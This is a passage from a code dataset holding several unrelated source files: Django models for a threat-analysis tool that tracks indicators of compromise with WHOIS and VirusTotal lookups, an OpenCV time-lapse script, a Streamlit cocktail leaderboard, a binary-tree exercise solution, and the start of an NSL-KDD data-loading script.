ValidationError\n\n        self.create_aux_seed()\n        self.clean()\n        if save:\n            self.save_with_history(user)\n\n    def create_aux_seed(self):\n        self.moduleauxweblog_set.create(status=ModuleAuxWeblog.STATUS.seed)\n\n    def remove_aux_seed(self):\n        self.moduleauxweblog_set.filter(status=ModuleAuxWeblog.STATUS.seed).remove()\n\n    def remove_all_aux_weblog(self):\n        self.moduleauxweblog_set.clear()\n\n\nclass IOCManager(models.Manager):\n\n    @transaction.atomic\n    def create_IOC_from_weblog(self, value, ioc_type, weblog, save=True):\n        if not value or not ioc_type or not weblog:\n            return None\n\n        iocs = IOC.objects.filter(value=value, ioc_type=ioc_type)\n        if not iocs:\n            ioc = IOC(value=value, ioc_type=ioc_type)\n            if save:\n                ioc.save()\n        else:\n            ioc = iocs[0]\n\n        if save:\n            ioc.weblogs.add(weblog)\n        return ioc\n\n\nclass IOC(TimeStampedModel):\n    value = models.CharField(max_length=256, null=False, unique=True)\n    IOC_TYPES = Choices(('domain', 'Domain Name'),('ip', 'IP Address'),)\n    ioc_type = models.CharField(choices=IOC_TYPES, max_length=20, null=False)\n    weblogs = models.ManyToManyField(Weblog)\n    whois_related_iocs = models.ManyToManyField('self', through='WHOISRelatedIOC', symmetrical=False)\n    objects = IOCManager()\n\n    @staticmethod\n    def add_whois_related_domains(domains_related=[]):\n        if len(domains_related) <= 1:\n            return None\n        iocs = IOC.objects.prefetch_related('whois_related_iocs').filter(value__in=domains_related,\n                                                                         ioc_type='domain').distinct()\n        exclude_list = []\n        for ioc in iocs:\n            exclude_list.append(ioc.id)\n            # the relation is not symmetric,\n            # it is necessary to re join relationships\n            for ioc_b in iocs.exclude(id__in=exclude_list):\n                if not WHOISRelatedIOC.objects.filter(from_ioc=ioc,to_ioc=ioc_b).exists() and \\\n                        not WHOISRelatedIOC.objects.filter(from_ioc=ioc_b,to_ioc=ioc).exists():\n                    wri = WHOISRelatedIOC(from_ioc=ioc,to_ioc=ioc_b)\n                    wri.save()\n                # ioc.whois_related_iocs.add(ioc_b)\n\n        return iocs\n\n    @staticmethod\n    def add_whois_related_couple_domains(domain_a, domain_b, distance_feature, numeric_distance):\n\n        iocs = IOC.objects.prefetch_related('whois_related_iocs').filter(value__in=[domain_a,domain_b],\n                                                                         ioc_type='domain').distinct()\n        if iocs.count() > 1:\n            ioc_a = iocs[0]\n            ioc_b = iocs[1]\n            if not WHOISRelatedIOC.objects.filter(from_ioc=ioc_a,to_ioc=ioc_b).exists() and \\\n                    not WHOISRelatedIOC.objects.filter(from_ioc=ioc_b,to_ioc=ioc_a).exists():\n                wri = WHOISRelatedIOC(from_ioc=ioc_a,to_ioc=ioc_b,\n                                      features_description=distance_feature,\n                                      numeric_distance=numeric_distance)\n                wri.save()\n        return iocs\n\n    def get_all_values_related_by(self, analysis_session_id):\n        wris = self.whois_related_iocs.filter(ioc_type=self.ioc_type,\n                                              weblogs__analysis_session_id=analysis_session_id).distinct()\n        return [wri.value for wri in wris]\n\n    def get_all_weblogs_from(self, analysis_session_id):\n        return self.weblogs.filter(analysis_session_id=analysis_session_id).distinct()\n\n    @staticmethod\n    def get_all_weblogs_by_domain(domain):\n        iocs = IOC.objects.filter(ioc_type='domain', value=domain)\n        if not iocs:\n            return []\n        else:\n            return iocs.first().weblogs.prefetch_related('histories').all().select_related('analysis_session')\n\n    @staticmethod\n    def get_all_weblogs_WHOIS_related(domain, analysis_session_id):\n        iocs = IOC.objects.prefetch_related('whois_related_iocs').filter(ioc_type='domain', value=domain)\n        iocs_id = iocs.values_list('whois_related_iocs__id', flat=True)\n        return Weblog.objects.filter(ioc__in=iocs_id, analysis_session_id=analysis_session_id)\n\n\n\n\n    class Meta:\n        db_table = 'manati_indicators_of_compromise'\n\n\nclass WHOISRelatedIOC(TimeStampedModel):\n    from_ioc = models.ForeignKey(IOC, related_name='from_ioc_id')\n    to_ioc = models.ForeignKey(IOC, related_name='to_ioc_id')\n    features_description = JSONField(default=json.dumps({}), null=True)\n    numeric_distance = models.IntegerField(null=True)\n\n    class Meta:\n        db_table = 'manati_indicators_of_compromise_whois_related_iocs'\n\n\nclass WeblogHistory(TimeStampedModel):\n    version = models.IntegerField(editable=False, default=0)\n    weblog = models.ForeignKey(Weblog, on_delete=models.CASCADE, null=False, related_name='histories')\n    verdict = models.CharField(choices=Weblog.VERDICT_STATUS,\n                               default=Weblog.VERDICT_STATUS.undefined, max_length=50, null=False)\n    old_verdict = models.CharField(choices=Weblog.VERDICT_STATUS,\n                                   default=Weblog.VERDICT_STATUS.undefined, max_length=50, null=False)\n    description = models.CharField(max_length=255, null=True, default=\"\")\n    content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE) #User or Module\n    object_id = models.CharField(max_length=20)\n    content_object = GenericForeignKey('content_type', 'object_id')\n\n    def get_author_name(self):\n        if type(self.content_object).__name__ == \"ExternalModule\":\n            return self.content_object.module_name\n        elif isinstance(self.content_object, User):\n            return self.content_object.username\n\n    def created_at_txt(self):\n        return self.created_at.isoformat()\n\n    class Meta:\n        db_table = 'manati_weblog_history'\n        unique_together = ('version', 'weblog')\n\n    def save(self, *args, **kwargs):\n        # start with version 1 and increment it for each book\n        current_version = WeblogHistory.objects.filter(weblog=self.weblog).order_by('-version')[:1]\n        self.version = current_version[0].version + 1 if current_version else 1\n        super(WeblogHistory, self).save(*args, **kwargs)\n\n\nclass Comment(TimeStampedModel):\n    user = models.ForeignKey(User, on_delete=models.CASCADE, default=1)\n    content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE) # Weblog or AnalysisSession\n    object_id = models.CharField(max_length=20)\n    content_object = GenericForeignKey('content_type', 'object_id')\n    text = models.CharField(max_length=255)\n\n    class Meta:\n        db_table = 'manati_comments'\n\n\nclass MetricManager(models.Manager):\n\n    @transaction.atomic\n    def create_bulk_by_user(self, measurements, current_user):\n        with transaction.atomic():\n            for elem in measurements:\n                measure = json.loads(elem)\n                event_name = measure['event_name']\n                measure.pop('event_name', None)\n                Metric.objects.create(event_name=event_name,\n                                      params=json.dumps(measure),\n                                      content_object=current_user)\n\n\n    @transaction.atomic\n    @postpone\n    def labeling_by_module(self, module, weblogs, verdict,query_node):\n        if weblogs.count() == 1:\n            event_name = 'single_labeling_by_module'\n        elif weblogs.count() > 1:\n            event_name = 'multiple_labeling_by_module'\n        else:\n            return\n\n        measure = dict()\n        measure['event_produced_by'] = module.module_name\n        measure['version_app'] = str(manati.__version__)\n        measure['event_name'] = event_name\n        measure['created_at'] = str(datetime.datetime.now())\n        measure['created_at_precision'] = str(datetime.datetime.now())\n        measure['amount_wbls'] = str(weblogs.count())\n        measure['new_verdict'] = verdict\n        measure['query_node'] = query_node\n        measure['weblogs_affected'] = [{'uuid': wb.attributes_obj.get('uuid', '')} for wb in weblogs]\n        Metric.objects.create(event_name=event_name,\n                              params=json.dumps(measure),\n                              content_object=module)\n\n    def change_status_analysis_session(self,event_name,user, analysis_session):\n        measure = dict()\n        measure['version_app'] = str(manati.__version__)\n        measure['event_name'] = event_name\n        measure['created_at'] = str(datetime.datetime.now())\n        measure['created_at_precision'] = str(datetime.datetime.now())\n        measure['analysis_session_name'] = analysis_session.name\n        measure['analysis_session_id'] = analysis_session.id\n        measure['analysis_session_uuid'] = analysis_session.uuid\n        Metric.objects.create(event_name=event_name,\n                              params=json.dumps(measure),\n                              content_object=user)\n\n    @transaction.atomic\n    @postpone\n    def close_analysis_session(self, user, analysis_session):\n        event_name = 'closing_analysis_session'\n        self.change_status_analysis_session(event_name, user, analysis_session)\n\n    @transaction.atomic\n    @postpone\n    def open_analysis_session(self, user, analysis_session):\n        event_name = 'opening_analysis_session'\n        self.change_status_analysis_session(event_name, user, analysis_session)\n\n\nclass Metric(TimeStampedModel):\n    event_name = models.CharField(max_length=200)\n    params = JSONField(default='', null=True)\n    content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE)  #User or Module\n    object_id = models.CharField(max_length=20)\n    content_object = GenericForeignKey('content_type', 'object_id')\n    objects = MetricManager()\n\n    class Meta:\n        db_table = 'manati_metrics'\n\n\nclass VTConsultManager(models.Manager):\n\n    @transaction.atomic\n    def create_one_consult(self, query_node,  user, line_report):\n        with transaction.atomic():\n            info = line_report.split(\";\")\n            index = 0\n            info_report_obj = {}\n            for elem in info:\n                info_report_obj[VTConsult.KEYS_INFO[index]] = elem\n                index += 1\n            VTConsult.objects.create(query_node=query_node, user=user, info_report=json.dumps(info_report_obj))\n\n\nclass VTConsult(TimeStampedModel):\n    KEYS_INFO = [\"IP\",\"Rating\",\"Owner\",\"Country Code\",\"Log Line No\",\"Positives\",\"Total\",\"Malicious Samples\",\"Hosts\"]\n    query_node = models.CharField(max_length=100, null=False)\n    info_report = JSONField(default=json.dumps({}), null=False)\n    user = models.ForeignKey(User)\n\n    objects = VTConsultManager()\n\n    @staticmethod\n    def get_query_info(query_node, user, query_type):\n        vt_consul = VTConsult.objects.filter(query_node=query_node,\n                                             created_at__gt=timezone.now() - timezone.timedelta(days=15)).first()\n        if vt_consul is None:\n            if query_type == 'ip':\n                management.call_command('virustotal_checker', \"--nocsv\", \"--nocache\", ff=query_node, user=user)\n                vt_consul = VTConsult.objects.filter(query_node=query_node,\n                                                     created_at__gt=timezone.now() - timezone.timedelta(days=15)).first()\n            elif query_type == 'domain':\n                vt.setkey(AppParameter.objects.get(key=AppParameter.KEY_OPTIONS.virus_total_key_api).value)\n                result = vt.getdomain(query_node)\n                vt_consul = VTConsult.objects.create(query_node=query_node, user=user, info_report=json.dumps(result))\n            else:\n                raise ValueError(\"query_type invalid\")\n        return vt_consul\n\n    class Meta:\n        db_table = 'manati_virustotal_consults'\n\n    def __unicode__(self):\n        return unicode(self.info_report) or u''\n\n\nclass AppParameter(TimeStampedModel):\n    KEY_OPTIONS = Choices(('virus_total_key_api', 'Virus Total Key API'))\n    key = models.CharField(choices=KEY_OPTIONS, default='', max_length=20, null=False)\n    value = models.CharField(null=False, default='', max_length=255)\n\n    class Meta:\n        db_table = 'manati_app_parameters'\n\n\nclass WhoisConsult(TimeStampedModel):\n    QUERY_TYPES = Choices(('ip','IP'),('domain','Domain'),)\n    query_node = models.CharField(max_length=100, null=False)\n    query_type = models.CharField(max_length=20, null=False, choices=QUERY_TYPES)\n    info_report = JSONField(null=True)\n    features_info = JSONField(null=True)  # pythonwhois\n    content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE) # User or ExternalModule\n    object_id = models.IntegerField()\n    content_object = GenericForeignKey('content_type', 'object_id')\n\n    def __process_result_by_domain__(self,domain, save=True):  # python whois lib\n        d = domain\n        try:\n            if not self.info_report and d:\n                r = pythonwhois.get_whois(d)\n                self.info_report = r\n            elif not d:\n                print(\"PW, domain null \" + str(d) + \" \" + str(self.id))\n                self.info_report = {}\n        except WhoisException as e:\n            print(\"PW rejects \" + str(d)+ \" \" + str(self.id) + \", ERROR TRACE \" + e.message)\n            self.info_report = {}\n        except:\n            self.info_report = {}\n            print(\"PW rejects \" + str(d) + \" \" + str(self.id))\n\n        if save:\n            self.save()\n\n    def check_info_report(self, domain, save=True):\n        if not self.info_report:\n            self.__process_result_by_domain__(domain, save=save)\n        return self.info_report\n\n\n    # python whois\n    def process_features_by_domain(self, domain, save=True):\n        result = self.check_info_report(domain, save=save)\n        raw = result.get('raw', None)\n        raw = raw[0].split('\\n') if not raw is None else []\n        try:\n            raw = ','.join(raw).encode('utf-8').strip().split(',')\n        except UnicodeDecodeError as e:\n            print(raw)\n            raw = ','.join(raw).encode('ascii', 'ignore').decode('ascii').strip().split(',')\n        # self.features_info_pw\n\n        def get_dict(dict_obj, key, default):\n            value = dict_obj.get(key, type(default))\n            if not isinstance(value, type(default)) and not type(default) == None:\n                return default\n            else:\n                return value\n\n        def get_emails():\n            emails = result.get('emails', [])\n            emails = [] if emails is None else emails\n            emails = emails.split(',') if not isinstance(emails, list) else emails\n            return emails\n\n        def get_domain_name():\n            pattern = r'^.*Domain Name:.*$'\n            indices = [i for i, x in enumerate(raw) if re.search(pattern, x)]\n            fields = str(raw[indices[0]]).split(':') if len(indices) > 0 else []\n            domain_name = fields[1].strip() if len(fields) > 0 else ''\n            if not domain_name or domain_name == '':\n                _, domain_name = get_data_from_url(self.query_node)\n                domain_name = domain_name if domain_name else ''\n            return domain_name\n\n        def get_name_servers():\n            ns = result.get('nameservers', [])\n            ns = ns.split(',') if isinstance(ns, basestring) else ns\n            return ns\n\n        def get_registrar():\n            registrar = result.get('registrar', '')\n            if not registrar or registrar == '':\n                pattern = r'^.*Registrar:.*$'\n                indices = [i for i, x in enumerate(raw) if re.search(pattern, x)]\n                fields = str(raw[indices[0]]).split(':') if len(indices) > 0 else []\n                registrar = fields[1].strip() if len(fields) > 0 else ''\n            return registrar[0] if isinstance(registrar, list) else registrar\n\n        def get_name():\n            contacts = get_dict(result, 'contacts', {})\n            name_admin = get_dict(contacts, 'admin', {}).get('name', '')\n            name_tech = get_dict(contacts, 'tech', {}).get('name', '')\n            name_registrant = get_dict(contacts, 'registrant', {}).get('name', '')\n            names = list(set([name_admin, name_tech, name_registrant]))\n            names = [n for n in names if n or not n == '']\n            name = names[0] if len(names) > 0 else ''\n            if not name or name == '':\n                pattern = r'^.*name:.*$'\n                indices = [i for i, x in enumerate(raw) if re.search(pattern, x)]\n                names = []\n                for indice in indices:\n                    fields = str(raw[indice]).split(':') if len(indices) > 0 else []\n                    names.append(fields[1].strip() if len(fields) > 0 else '')\n                return names[0] if len(names) > 0 else ''\n            else:\n                return name\n\n        def get_creation_date():\n            cd_str = result.get('creation_date', [])\n            if cd_str and len(cd_str) > 0:\n                if isinstance(cd_str[0], basestring):\n                    try:\n                        return dateutil.parser.parse(cd_str[0])\n                    except:\n                        print(\"Date Invalid \", self.id, cd_str[0])\n                        return None\n                elif isinstance(cd_str[0], datetime.datetime):\n                    return cd_str[0]\n            else:\n                return None\n\n        def get_expiration_date():\n            ed_str = result.get('expiration_date', [])\n            if ed_str and len(ed_str) > 0:\n                if isinstance(ed_str[0], basestring):\n                    try:\n                        return dateutil.parser.parse(ed_str[0])\n                    except:\n                        print(\"Date Invalid \", self.id, ed_str[0])\n                        return None\n                elif isinstance(ed_str[0], datetime.datetime):\n                    return ed_str[0]\n            else:\n                return None\n\n        def get_zipcodes():\n            contacts = get_dict(result, 'contacts', {})\n            postalcode_admin = get_dict(contacts, 'admin', {}).get('postalcode', '')\n            postalcode_tech = get_dict(contacts, 'tech', {}).get('postalcode', '')\n            postalcode_registrant = get_dict(contacts, 'registrant', {}).get('postalcode', '')\n            return list(set([postalcode_admin, postalcode_tech, postalcode_registrant]))\n\n        def get_orgs():\n            contacts = get_dict(result, 'contacts', {})\n            org_admin = get_dict(contacts, 'admin', {}).get('organization', '')\n            org_tech = get_dict(contacts, 'tech', {}).get('organization', '')\n            org_registrant = get_dict(contacts, 'registrant', {}).get('organization', '')\n            return list(set([org_admin, org_tech, org_registrant]))\n\n        if not self.features_info:\n            features = dict(\n                emails= get_emails(),\n                domain_name=get_domain_name(),\n                name_servers=get_name_servers(),\n                registrar=get_registrar(),\n                name=get_name(),\n                creation_date=get_creation_date(),\n                expiration_date=get_expiration_date(),\n                zipcode=get_zipcodes(),\n                org=get_orgs()\n            )\n            self.features_info = features\n            if save:\n                self.save()\n\n    @staticmethod\n    def get_whois_distance_features_by_domain(content_object, domain_name):\n        query_type = 'domain'\n        whois_objs = WhoisConsult.objects.filter(query_node=domain_name, query_type=query_type)\n        if whois_objs.exists():\n            whois = whois_objs.first()\n        else:\n            whois = WhoisConsult.objects.create(query_node=domain_name, query_type=query_type,\n                                                content_object=content_object)\n        return whois.whois_distance_features()\n\n    def whois_distance_features(self):\n        features = self.check_features_info().copy()\n        del features['creation_date']\n        del features['expiration_date']\n        features['duration'] = self.domain_duration()\n        return features\n\n    def domain_duration(self):\n        if self.features_info:\n            creation_date_a = self.features_info['creation_date']\n            expiration_date_a = self.features_info['expiration_date']\n            if not creation_date_a or not expiration_date_a:\n                return None\n            cd_a = dateutil.parser.parse(creation_date_a) if not isinstance(creation_date_a,datetime.datetime) else creation_date_a\n            ed_a = dateutil.parser.parse(expiration_date_a) if not isinstance(expiration_date_a,datetime.datetime) else expiration_date_a\n            if cd_a and ed_a:\n                return float(abs(cd_a - ed_a).days)\n            else:\n                return None\n\n\n\n    def process_features_by_ip(self, ip):\n        pass\n\n    def check_features_info(self, save=True):\n        if not self.features_info:\n            self.process_features_by_domain(self.query_node,save=save)\n        return self.features_info\n\n    @staticmethod\n    def get_features_info_by_set_url(content_object, urls_or_ips):\n        query_ips = []\n        query_domains = []\n        result = {}\n        for url_or_ip in urls_or_ips:\n            query_type,query_node = get_data_from_url(url_or_ip)\n            if query_type == 'ip':\n                query_ips.append(query_node)\n            elif query_type == 'domain':\n                query_domains.append(query_node)\n            result[query_node] = {}\n\n        with transaction.atomic():\n            #domain\n            whois_objs = WhoisConsult.objects.filter(query_node__in=query_domains, query_type='domain')\n            query_node_created = []\n            for whois_obj in whois_objs:\n                result[whois_obj.query_node] = whois_obj.check_features_info()\n                query_node_created.append(whois_obj.query_node)\n\n            whois_objs = []\n            for query_node in query_domains:\n                if not query_node in query_node_created:\n                    whois_objs.append(WhoisConsult(query_node=query_node,\n                                                   query_type='domain',\n                                                   content_object=content_object))\n            WhoisConsult.objects.bulk_create(whois_objs)\n            for whois_obj in whois_objs:\n                result[whois_obj.query_node] = whois_obj.check_features_info()\n\n            # bulk_update(whois_objs)\n\n            #ip TO-DO by IP\n            # whois_objs_ip = WhoisConsult.objects.filter(query_node__in=query_domains, query_type='ip')\n            for query_node in query_ips:\n                result[query_node] = {}\n\n        return result\n\n    @staticmethod\n    def get_features_info(content_object, url_or_ip):\n        query_type, query_node = get_data_from_url(url_or_ip)\n        if not query_node:\n            return {}\n        elif query_type == 'domain':\n            return WhoisConsult.get_features_info_by_domain(content_object,query_node)\n        elif query_type == 'ip':\n            # TO-DO IP version\n            return {}\n        else:\n            pass\n\n    @staticmethod\n    def get_features_info_by_domain(content_object,domain_name):\n        query_type = 'domain'\n        whois_objs = WhoisConsult.objects.filter(query_node=domain_name, query_type=query_type)\n        if whois_objs.exists():\n            whois = whois_objs.first()\n        else:\n            whois = WhoisConsult.objects.create(query_node=domain_name, query_type=query_type,\n                                                content_object=content_object)\n\n        if not whois.features_info:\n            whois.process_features_by_domain(domain_name)\n        features = whois.features_info\n        return features\n\n\n    @staticmethod\n    def __get_query_info__(query_node, user, **kwargs):\n\n        class ComplexEncoder(json.JSONEncoder):\n            def default(self, obj):\n                if hasattr(obj, 'reprJSON'):\n                    return obj.reprJSON()\n                if hasattr(obj, 'isoformat'):\n                    return obj.isoformat()\n                else:\n                    return json.JSONEncoder.default(self, obj)\n\n        whois_consult = WhoisConsult.objects.filter(query_node=query_node,\n                                                    created_at__gt=timezone.now() - timezone.timedelta(days=365)).first()\n        if whois_consult is None:\n            if 'ip' in kwargs:\n                obj = IPWhois(query_node)\n                results = obj.lookup()\n                whois_consult = WhoisConsult.objects.create(query_node=query_node,\n                                                            info_report=results,\n                                                            content_object=user)\n            elif 'domain' in kwargs:\n                w = pythonwhois.get_whois(query_node)\n                whois_consult = WhoisConsult.objects.create(query_node=query_node,\n                                                            info_report=w,\n                                                            content_object=user)\n            else:\n                raise ValueError(\"you must determine is you want to do a domain or ip consultation by __get_query_info\" +\n                                 \"__('query', SomeUser, domain=True or ip=True\")\n        whois_consult.check_info_report(query_node, save=True)\n\n        return whois_consult\n\n    @staticmethod\n    def get_query_info_by_ip(query_node, user):\n        return WhoisConsult.__get_query_info__(query_node, user, ip=True)\n\n    @staticmethod\n    def get_query_info_by_domain(query_node, user):\n        return WhoisConsult.__get_query_info__(query_node, user, domain=True)\n\n    @staticmethod\n    def get_query_by_domain(query_node):\n        user = User.objects.get(username='anonymous_user_for_metrics')\n        return WhoisConsult.get_query_info_by_domain(query_node,user).info_report\n\n    class Meta:\n        db_table = 'manati_whois_consults'\n\n    def __unicode__(self):\n        return unicode(self.info_report) or u''\n\n\nclass ModuleAuxWeblog(TimeStampedModel):\n    weblog = models.ForeignKey(Weblog, on_delete=models.CASCADE)\n    STATUS = Choices('seed', 'modified', 'undefined')\n    status = models.CharField(choices=STATUS, default=STATUS.undefined, max_length=20, null=False)\n\n    class Meta:\n        db_table = 'manati_module_aux_weblogs'\n\n\ndef get_anonymous_user_instance(User):\n    return User.objects.get(username='anonymous_user_for_metrics')\n\n\n\n\n\n","sub_path":"manati_ui/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":48705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"369362104","text":"import cv2\nimport time\nimport os\n\n############# 照片转换为延时摄影视频 ################\nfourcc = cv2.VideoWriter_fourcc(*'mp4v')\nout = cv2.VideoWriter('delay.mp4', fourcc, 24.0, (640, 480))\n\nfile_path = './image_record/'\nif os.path.isdir(file_path):\n    imgs = [os.path.join(file_path, i) for i in os.listdir(file_path)]\n    imgs = sorted(imgs, key=lambda x: int(x.split('--')[-1].strip('.jpg')))\n\nprint(imgs[-1])\nfor i in range(len(imgs)):\n    frame = cv2.imread(imgs[i])\n    # cv2.imshow('frame', frame)\n    out.write(frame)\n    k = cv2.waitKey(2) & 0xff\n    if k == 27:\n        break\nprint('ok!')\ncv2.destroyAllWindows()\n\n\n\n'''\n######### 延时摄影效果 ###########\ncap = cv2.VideoCapture(r'D:\\video\\record_1567590397.mp4')\nfourcc = cap.get(cv2.CAP_PROP_FPS)\nn = 0\nwhile cap.isOpened():\n    ret, frame = cap.read()\n    k = cv2.waitKey(1) & 0xff\n    if n % (fourcc*3) == 0:\n        cv2.imshow('frame', frame)\n    if k == 27:\n        break\n    n = n+1\n\ncap.release()\ncv2.destroyAllWindows()\n'''\n","sub_path":"01/delay_photo.py","file_name":"delay_photo.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"524084718","text":"import math\nimport os\nfrom pathlib import Path\nimport sqlite3\nimport warnings\nimport streamlit as st\nfrom streamlit_autorefresh import st_autorefresh\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom pywaffle import Waffle\nfrom dotenv import load_dotenv\n\nst.set_page_config(\n    page_title=\"Cocktail Dashboard\",\n    page_icon=\"🍸\",\n    layout=\"wide\",\n    initial_sidebar_state=\"collapsed\",\n)\nwarnings.filterwarnings(\"ignore\", 'Starting a Matplotlib GUI outside of the main thread will likely fail.')\nmpl.rcParams.update({'text.color': \"white\", 'axes.labelcolor': \"white\"})\n\nDATABASE_NAME = \"team\"\nDIRPATH = Path(__file__).parent.absolute()\nload_dotenv(DIRPATH / \".env\")\ndatabase_path = DIRPATH / \"storage\" / f\"{DATABASE_NAME}.db\"\n\n\ndef __choose_language(element: dict) -> str:\n    language = os.getenv(\"UI_LANGUAGE\")\n    return element.get(language, element[\"en\"])\n\n\nTIME_SELECT = __choose_language({\n    \"en\": (\"Today\", \"All time\", ),\n    \"de\": (\"Heute\", \"All time\", ),\n})\n\nTIME_HEADER = __choose_language({\n    \"en\": \"Select time\",\n    \"de\": \"Zeit aussuchen\",\n})\n\nTYPE_SELECT = __choose_language({\n    \"en\": (\"Amount\", \"Volume\", ),\n    \"de\": (\"Anzahl\", \"Volumen\", ),\n})\n\nTYPE_HEADER = __choose_language({\n    \"en\": \"Select aggregation\",\n    \"de\": \"Aggregation aussuchen\",\n})\n\nDEFAULT_MESSAGE = __choose_language({\n    \"en\": \"Drink cocktails to start ...\",\n    \"de\": \"Cocktails trinken zum starten ...\",\n})\n\n\ndef get_leaderboard(hourrange=None, limit=2, count=True):\n    addition = \"\"\n    if hourrange is not None:\n        addition = f\" WHERE Date >= datetime('now','-{hourrange} hours')\"\n    agg = \"count(*)\" if count else \"sum(Volume)\"\n    conn = sqlite3.connect(database_path)\n    sql = f\"SELECT Team, {agg} as amount FROM Team{addition} GROUP BY Team ORDER BY {agg} DESC LIMIT ?\"\n    board = pd.read_sql(sql, conn, params=(limit,))\n    board.reset_index(drop=True, inplace=True)\n    conn.close()\n    return board\n\n\ndef sort_dict_items(to_sort: dict):\n    dictionary_items = to_sort.items()\n    sorted_items = sorted(dictionary_items)\n    return {x[0]: x[1] for x in sorted_items}\n\n\ndef extract_data(sort: bool, df: pd.DataFrame):\n    if df.empty or sum(df.amount.to_list()) < 3:\n        waffle_data = {DEFAULT_MESSAGE: 3}\n    else:\n        waffle_data = {f\"{x} ({y})\": y for x, y in zip(df.Team.to_list(), df.amount.to_list())}\n    if sort:\n        waffle_data = sort_dict_items(waffle_data)\n    return waffle_data\n\n\ndef generate_dimensions(total: float, count=True):\n    proportion = 3\n    threshold_upper = 1.2\n    threshold_lower = 0.77\n    one_row_until = 9\n    # use fixed grid for non count variables\n    if not count:\n        return {\"rows\": 10, \"columns\": 25}\n    # don't split until given dimension\n    if total < one_row_until:\n        return {\"rows\": 1}\n    row = max(math.floor(math.sqrt(total / proportion)), 1)\n    # calculate current proportion, add one if exceeds th\n    column = math.ceil(total / row)\n    real_prop = column / row\n    if real_prop >= proportion * threshold_upper:\n        row += 1\n    # calculates adjusted proportion, rolls back if its too extreme\n    column = math.ceil(total / row)\n    adjusted_prop = column / row\n    if adjusted_prop <= proportion * threshold_lower:\n        row -= 1\n    return {\"rows\": row}\n\n\ndef generate_figure(title: str, hourrange: int = None, limit=5, sort=False, count=True):\n    df = get_leaderboard(hourrange, limit, count)\n    waffle_data = extract_data(sort, df)\n    dims = generate_dimensions(sum(df.amount.to_list()), count)\n    fig = plt.figure(\n        FigureClass=Waffle,\n        **dims,\n        values=waffle_data,\n        title={\n            'label': title,\n            'fontdict': {\n                'fontsize': 20\n            }\n        },\n        facecolor=(0.054, 0.066, 0.090, 1),\n        legend={'loc': 'upper center', 'bbox_to_anchor': (0.5, 0.0), 'ncol': 2, 'framealpha': 0}\n    )\n    return fig\n\n\nst_autorefresh(interval=15000, key=\"autorefresh\")\nst.markdown(\"\"\" <style>\n#MainMenu {visibility: hidden;}\nfooter {visibility: hidden;}\n.block-container {padding: 1rem 1rem 1rem 1rem !important;}\n</style> \"\"\", unsafe_allow_html=True)\n\nst.sidebar.header(TIME_HEADER)\nselected_display = st.sidebar.radio(\"\", TIME_SELECT)\nst.sidebar.header(TYPE_HEADER)\nselected_type = st.sidebar.radio(\"\", TYPE_SELECT)\nuse_count = selected_type == TYPE_SELECT[0]\n\nif selected_display == TIME_SELECT[0]:\n    st.pyplot(generate_figure(\n        title=f\"Leaderboard ({selected_type}, {selected_display})\",\n        hourrange=24, sort=True, count=use_count\n    ))\nelse:\n    st.pyplot(generate_figure(title=f\"Leaderboard ({selected_type}, {selected_display})\", limit=20, count=use_count))\n","sub_path":"dashboard/frontend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"280782826","text":"# -*- coding: utf-8 -*-\n# @Time    : 2021-03-12 15:36\n# @Author  : zxl\n# @FileName: 116.py\n\n\n# Definition for a Node.\nclass Node(object):\n    def __init__(self, val=0, left=None, right=None, next=None):\n        self.val = val\n        self.left = left\n        self.right = right\n        self.next = next\n\n\nclass Solution(object):\n    def connect(self, root):\n        \"\"\"\n        :type root: Node\n        :rtype: Node\n        \"\"\"\n\n        lst = []\n        if root:\n            lst.append(root)\n        while len(lst)>0:\n\n            l = len(lst)\n            for i in range(l-1):\n                p = lst.pop(0)\n                p.next = lst[0]\n                if p.left:\n                    lst.append(p.left)\n                if p.right:\n                    lst.append(p.right)\n            p = lst.pop(0)\n            if p.left:\n                lst.append(p.left)\n            if p.right:\n                lst.append(p.right)\n        return root\n","sub_path":"116.py","file_name":"116.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"232937880","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Apr 12 22:15:00 2020\r\n\r\n@author: catcry\r\n\r\n____________________________________________________________________________\r\nThis file can be used to import saved and pre-processed Train, Valid and Test\r\nNumpy arrays:\r\n    \r\n    >NSL-KDD manual and standard \r\n    >NSL-KDD windowed (100 Records)\r\n    \r\n    >TON_IoT20 with DNS feature\r\n    >TON_IoT20 without DNS\r\n    >TON_IoT20 with DNS feature windowed\r\n    \r\n    >Decision Combine : OR and Majority\r\n____________________________________________________________________________\r\n\r\n\"\"\"\r\n\r\n\r\n\r\n#_____________________>>    Load Saved NSL-KDD data     <<_____________________\r\nXtrain = np.load(r'f:\\git\\nsl4conf\\nsl_Xtrain_manual.npy')\r\nYtrain = np.load(r'f:\\git\\nsl4conf\\nsl_Ytrain_manual.npy')\r\n\r\nXtest = np.load(r'f:\\git\\nsl4conf\\nsl_Xtest_manual.npy')\r\nYtest = np.load(r'f:\\git\\nsl4conf\\nsl_Ytest_manual.npy')\r\n\r\nXvalid = np.load(r'f:\\git\\nsl4conf\\nsl_Xvalid_manual.npy')\r\nYvalid = np.load(r'f:\\git\\nsl4conf\\nsl_Yvalid_manual.npy')\r\n\r\nYtrain_1hot = Ytrain\r\nYtest_1hot =Ytest\r\nYvalid_1hot = Yvalid\r\nXtrain_orig = Xtrain\r\nXvalid_orig = Xvalid\r\nXtest_orig = 